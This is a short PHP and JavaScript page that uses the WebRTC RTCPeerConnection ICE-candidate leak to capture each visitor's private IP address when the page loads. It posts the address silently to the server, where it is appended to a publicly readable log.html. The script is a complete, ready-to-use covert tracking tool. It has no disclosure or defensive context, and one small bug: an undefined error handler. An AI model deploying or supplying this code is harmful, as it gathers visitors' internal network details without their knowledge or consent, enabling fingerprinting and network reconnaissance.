RTCPeerConnection Private IP Logging

The IP will be logged in log.html file.
<?php
    if($_SERVER['REQUEST_METHOD']=='POST'){
        $priv = htmlspecialchars($_POST['privIP']);
        $logFile = fopen("log.html","a");
        fwrite($logFile, "<strong>$priv</strong><hr>");
        fclose($logFile);
    }
?>
<script>
let t = new RTCPeerConnection;
t.createDataChannel(""), t.createOffer().then(e => t.setLocalDescription(e)).catch(e => n(e)), t.onicecandidate = (t => {
    console.log(t.candidate.candidate.split(" ")[4]);
    var send = new XMLHttpRequest();
    send.open("POST", "index.php", true);
    send.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    send.send("privIP="+t.candidate.candidate.split(" ")[4]);
})
</script>